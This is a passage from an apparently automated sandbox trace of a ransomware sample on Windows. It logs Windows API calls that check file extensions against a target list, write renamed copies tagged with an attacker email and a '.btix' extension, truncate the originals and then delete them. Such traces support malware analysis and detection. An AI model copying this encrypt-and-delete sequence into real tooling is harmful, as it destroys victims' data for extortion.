lpString2=".dll") returned 1 [0041.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0041.877] lstrlenW (lpString=".zip") returned 4 [0041.877] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0041.877] lstrlenW (lpString=".rar") returned 4 [0041.877] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0041.877] lstrlenW (lpString=".bz2") returned 4 [0041.877] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0041.877] lstrlenW (lpString=".7z") returned 3 [0041.877] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0041.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0041.877] lstrlenW (lpString=".dbf") returned 4 [0041.877] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0041.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0041.877] lstrlenW (lpString=".1cd") returned 4 [0041.877] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0041.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0041.877] lstrlenW (lpString=".jpg") returned 4 [0041.877] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0041.877] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0041.877] lstrlenW (lpString="SetupResources.dll") returned 18 [0041.877] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0041.883] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=18264) returned 1 [0041.883] CloseHandle (hObject=0x328) returned 1 [0041.883] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80 [0041.884] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.884] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0041.884] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.884] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.884] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0041.889] GetLastError () returned 0x0 [0041.889] ReadFile (in: hFile=0x328, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x4758, lpOverlapped=0x0) returned 1 [0041.933] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x4760, lpOverlapped=0x0) returned 1 [0041.934] ReadFile (in: hFile=0x328, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0041.934] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xf8, lpOverlapped=0x0) returned 1 [0041.934] SetEndOfFile (hFile=0x320) returned 1 [0041.934] CloseHandle (hObject=0x320) returned 1 [0041.935] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.935] SetEndOfFile (hFile=0x328) returned 1 [0041.936] CloseHandle (hObject=0x328) returned 1 [0041.936] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0041.936] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 1 [0041.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0041.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0041.937] lstrlenW (lpString=".doc") returned 4 [0041.937] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0041.937] lstrlenW (lpString=".docx") returned 5 [0041.937] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0041.937] lstrlenW (lpString=".pdf") returned 4 [0041.937] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0041.937] lstrlenW (lpString=".xls") returned 4 [0041.937] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0041.937] lstrlenW (lpString=".xlsx") returned 5 [0041.937] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0041.937] lstrlenW (lpString=".ppt") returned 4 [0041.937] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0041.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0041.937] lstrlenW (lpString=".zip") returned 4 [0041.937] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0041.937] lstrlenW (lpString=".rar") returned 4 [0041.937] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0041.937] lstrlenW (lpString=".bz2") returned 4 [0041.937] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0041.937] lstrlenW (lpString=".7z") returned 3 [0041.937] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0041.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0041.937] lstrlenW (lpString=".dbf") returned 4 [0041.937] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0041.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0041.937] lstrlenW (lpString=".1cd") returned 4 [0041.937] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0041.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0041.937] lstrlenW (lpString=".jpg") returned 4 [0041.937] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0041.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0041.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0041.937] lstrlenW (lpString=".doc") returned 4 [0041.937] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0041.938] lstrlenW (lpString=".docx") returned 5 [0041.938] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0041.938] lstrlenW (lpString=".pdf") returned 4 [0041.938] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0041.938] lstrlenW (lpString=".xls") returned 4 [0041.938] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0041.938] lstrlenW (lpString=".xlsx") returned 5 [0041.938] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0041.938] lstrlenW (lpString=".ppt") returned 4 [0041.938] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0041.938] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0041.938] lstrlenW (lpString=".zip") returned 4 [0041.938] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0041.938] lstrlenW (lpString=".rar") returned 4 [0041.938] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0041.938] lstrlenW (lpString=".bz2") returned 4 [0041.938] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0041.938] lstrlenW (lpString=".7z") returned 3 [0041.938] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0041.938] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0041.938] lstrlenW (lpString=".dbf") returned 4 [0041.938] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0041.938] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0041.938] lstrlenW (lpString=".1cd") returned 4 [0041.938] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0041.938] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0041.938] lstrlenW (lpString=".jpg") returned 4 [0041.938] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0041.938] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0041.938] lstrlenW (lpString="SetupResources.dll") returned 18 [0041.938] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0041.939] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=18776) returned 1 [0041.939] CloseHandle (hObject=0x328) returned 1 [0041.939] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80 [0041.939] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.939] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0041.939] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.939] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.939] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0041.948] GetLastError () returned 0x0 [0041.948] ReadFile (in: hFile=0x328, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x4958, lpOverlapped=0x0) returned 1 [0041.998] WriteFile (in: hFile=0x318, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x4960, lpOverlapped=0x0) returned 1 [0041.999] ReadFile (in: hFile=0x328, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0041.999] WriteFile (in: hFile=0x318, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xf8, lpOverlapped=0x0) returned 1 [0041.999] SetEndOfFile (hFile=0x318) returned 1 [0042.000] CloseHandle (hObject=0x318) returned 1 [0042.000] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.000] SetEndOfFile (hFile=0x328) returned 1 [0042.001] CloseHandle (hObject=0x328) returned 1 [0042.001] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.002] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 1 [0042.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0042.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0042.002] lstrlenW (lpString=".doc") returned 4 [0042.002] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.002] lstrlenW (lpString=".docx") returned 5 [0042.002] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.002] lstrlenW (lpString=".pdf") returned 4 [0042.002] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.002] lstrlenW (lpString=".xls") returned 4 [0042.002] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.002] lstrlenW (lpString=".xlsx") returned 5 [0042.002] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.002] lstrlenW (lpString=".ppt") returned 4 [0042.002] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0042.002] lstrlenW (lpString=".zip") returned 4 [0042.002] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.002] lstrlenW (lpString=".rar") returned 4 [0042.002] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.002] lstrlenW (lpString=".bz2") returned 4 [0042.002] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.002] lstrlenW (lpString=".7z") returned 3 [0042.002] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0042.002] lstrlenW (lpString=".dbf") returned 4 [0042.002] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0042.002] lstrlenW (lpString=".1cd") returned 4 [0042.003] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0042.003] lstrlenW (lpString=".jpg") returned 4 [0042.003] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0042.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0042.003] lstrlenW (lpString=".doc") returned 4 [0042.003] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.003] lstrlenW (lpString=".docx") returned 5 [0042.003] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.003] lstrlenW (lpString=".pdf") returned 4 [0042.003] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.003] lstrlenW (lpString=".xls") returned 4 [0042.003] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.003] lstrlenW (lpString=".xlsx") returned 5 [0042.003] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.003] lstrlenW (lpString=".ppt") returned 4 [0042.003] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0042.003] lstrlenW (lpString=".zip") returned 4 [0042.003] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.003] lstrlenW (lpString=".rar") returned 4 [0042.003] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.003] lstrlenW (lpString=".bz2") returned 4 [0042.003] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.003] lstrlenW (lpString=".7z") returned 3 [0042.003] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0042.003] lstrlenW (lpString=".dbf") returned 4 [0042.003] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0042.003] lstrlenW (lpString=".1cd") returned 4 [0042.003] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0042.003] lstrlenW (lpString=".jpg") returned 4 [0042.003] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.004] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0042.004] lstrlenW (lpString="SetupResources.dll") returned 18 [0042.004] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0042.010] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=18776) returned 1 [0042.010] CloseHandle (hObject=0x320) returned 1 [0042.011] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80 [0042.011] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.011] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0042.011] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.011] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.011] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0042.017] GetLastError () returned 0x0 [0042.017] ReadFile (in: hFile=0x320, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x4958, lpOverlapped=0x0) returned 1 [0042.133] WriteFile (in: hFile=0x328, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x4960, lpOverlapped=0x0) returned 1 [0042.134] ReadFile (in: hFile=0x320, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0042.134] WriteFile (in: hFile=0x328, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xf8, lpOverlapped=0x0) returned 1 [0042.134] SetEndOfFile (hFile=0x328) returned 1 [0042.135] CloseHandle (hObject=0x328) returned 1 [0042.136] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.136] SetEndOfFile (hFile=0x320) returned 1 [0042.137] CloseHandle (hObject=0x320) returned 1 [0042.137] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.137] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 1 [0042.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0042.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0042.138] lstrlenW (lpString=".doc") returned 4 [0042.138] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.138] lstrlenW (lpString=".docx") returned 5 [0042.138] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.138] lstrlenW (lpString=".pdf") returned 4 [0042.138] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.138] lstrlenW (lpString=".xls") returned 4 [0042.138] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.138] lstrlenW (lpString=".xlsx") returned 5 [0042.138] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.138] lstrlenW (lpString=".ppt") returned 4 [0042.138] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0042.138] lstrlenW (lpString=".zip") returned 4 [0042.138] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.138] lstrlenW (lpString=".rar") returned 4 [0042.138] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.138] lstrlenW (lpString=".bz2") returned 4 [0042.139] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.139] lstrlenW (lpString=".7z") returned 3 [0042.139] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.139] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0042.139] lstrlenW (lpString=".dbf") returned 4 [0042.139] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.139] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0042.139] lstrlenW (lpString=".1cd") returned 4 [0042.139] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.139] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0042.139] lstrlenW (lpString=".jpg") returned 4 [0042.139] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.139] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0042.139] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0042.139] lstrlenW (lpString=".doc") returned 4 [0042.139] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.139] lstrlenW (lpString=".docx") returned 5 [0042.139] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.139] lstrlenW (lpString=".pdf") returned 4 [0042.139] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.139] lstrlenW (lpString=".xls") returned 4 [0042.139] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.139] lstrlenW (lpString=".xlsx") returned 5 [0042.139] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.139] lstrlenW (lpString=".ppt") returned 4 [0042.140] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0042.140] lstrlenW (lpString=".zip") returned 4 [0042.140] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.140] lstrlenW (lpString=".rar") returned 4 [0042.140] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.140] lstrlenW (lpString=".bz2") returned 4 [0042.140] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.140] lstrlenW (lpString=".7z") returned 3 [0042.140] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0042.140] lstrlenW (lpString=".dbf") returned 4 [0042.140] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0042.140] lstrlenW (lpString=".1cd") returned 4 [0042.140] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0042.140] lstrlenW (lpString=".jpg") returned 4 [0042.140] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.140] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0042.140] lstrlenW (lpString="SetupResources.dll") returned 18 [0042.141] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0042.148] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=19288) returned 1 [0042.148] CloseHandle (hObject=0x31c) returned 1 [0042.148] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80 [0042.148] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.148] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0042.148] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.148] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.148] CreateFileW 